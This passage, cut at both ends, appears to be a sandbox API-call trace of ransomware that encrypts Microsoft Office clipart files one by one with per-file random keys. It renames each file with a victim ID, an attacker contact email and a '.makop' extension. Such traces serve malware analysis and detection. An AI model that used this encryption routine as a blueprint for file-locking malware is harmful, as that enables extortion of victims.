lpOverlapped=0x0) returned 1 [0111.632] CryptDestroyKey (hKey=0x48c7128) returned 1 [0111.632] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x994, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.632] SetEndOfFile (hFile=0xf0) returned 1 [0111.638] GetProcessHeap () returned 0x48a0000 [0111.638] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0111.639] GetProcessHeap () returned 0x48a0000 [0111.639] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0111.639] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0111.639] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01172_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01172_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0111.641] CloseHandle (hObject=0xf0) returned 1 [0111.641] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x70c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01173_.WMF", cAlternateFileName="")) returned 1 [0111.641] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 63 [0111.641] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01173_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0111.643] GetProcessHeap () returned 0x48a0000 [0111.644] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0111.644] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0111.644] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0111.644] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0111.650] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0111.650] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0111.650] GetProcessHeap () returned 0x48a0000 [0111.650] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0111.650] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0111.650] CryptDestroyKey (hKey=0x48c7128) returned 1 [0111.650] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0111.650] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0111.651] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0111.651] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0111.651] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0111.651] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0111.651] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0111.651] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0111.651] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.651] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x70c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x70c, lpOverlapped=0x0) returned 1 [0111.651] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x710, dwBufLen=0x710 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x710) returned 1 [0111.652] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.652] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x710, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x710, lpOverlapped=0x0) returned 1 [0111.652] CryptDestroyKey (hKey=0x48c7128) returned 1 [0111.652] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x7e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.652] SetEndOfFile (hFile=0xf0) returned 1 [0111.659] GetProcessHeap () returned 0x48a0000 [0111.659] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0111.659] GetProcessHeap () returned 0x48a0000 [0111.659] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0111.659] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0111.659] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01173_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01173_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0111.661] CloseHandle (hObject=0xf0) returned 1 [0111.661] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x760, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01176_.WMF", cAlternateFileName="")) returned 1 [0111.661] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 63 [0111.661] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01176_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0111.663] GetProcessHeap () returned 0x48a0000 [0111.663] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0111.663] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0111.663] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0111.663] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0111.663] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0111.663] GetProcessHeap () returned 0x48a0000 [0111.663] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0111.663] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0111.663] CryptDestroyKey (hKey=0x48c7128) returned 1 [0111.664] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0111.668] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0111.668] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0111.668] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0111.668] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0111.669] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0111.669] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0111.669] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0111.669] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.669] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x760, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x760, lpOverlapped=0x0) returned 1 [0111.669] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x760, dwBufLen=0x760 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x760) returned 1 [0111.669] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.669] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x760, lpOverlapped=0x0) returned 1 [0111.669] CryptDestroyKey (hKey=0x48c7128) returned 1 [0111.669] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x834, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.669] SetEndOfFile (hFile=0xf0) returned 1 [0111.676] GetProcessHeap () returned 0x48a0000 [0111.676] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0111.676] GetProcessHeap () returned 0x48a0000 [0111.676] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0111.676] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0111.676] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01176_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01176_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0111.678] CloseHandle (hObject=0xf0) returned 1 [0111.679] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xed4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01178_.WMF", cAlternateFileName="")) returned 1 [0111.679] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 63 [0111.679] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01178_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0111.680] GetProcessHeap () returned 0x48a0000 [0111.680] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0111.680] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0111.680] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0111.680] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0111.684] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0111.684] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0111.684] GetProcessHeap () returned 0x48a0000 [0111.685] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0111.685] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0111.685] CryptDestroyKey (hKey=0x48c7128) returned 1 [0111.685] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0111.685] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0111.685] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0111.685] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0111.685] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0111.686] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0111.686] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0111.686] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0111.686] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.686] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xed4, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xed4, lpOverlapped=0x0) returned 1 [0111.686] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xee0, dwBufLen=0xee0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xee0) returned 1 [0111.686] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.686] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xee0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xee0, lpOverlapped=0x0) returned 1 [0111.687] CryptDestroyKey (hKey=0x48c7128) returned 1 [0111.687] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xfb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.687] SetEndOfFile (hFile=0xf0) returned 1 [0111.694] GetProcessHeap () returned 0x48a0000 [0111.694] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0111.694] GetProcessHeap () returned 0x48a0000 [0111.694] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0111.694] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0111.694] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01178_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01178_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0111.695] CloseHandle (hObject=0xf0) returned 1 [0111.696] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01179_.WMF", cAlternateFileName="")) returned 1 [0111.696] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 63 [0111.696] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01179_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0111.697] GetProcessHeap () returned 0x48a0000 [0111.697] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0111.697] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0111.697] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0111.697] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0111.701] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0111.701] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0111.702] GetProcessHeap () returned 0x48a0000 [0111.702] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0111.702] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0111.702] CryptDestroyKey (hKey=0x48c7128) returned 1 [0111.702] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0111.702] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0111.702] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0111.702] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0111.702] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0111.702] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0111.703] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0111.703] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0111.703] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.703] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x7e8, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x7e8, lpOverlapped=0x0) returned 1 [0111.703] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7f0, dwBufLen=0x7f0 | out: 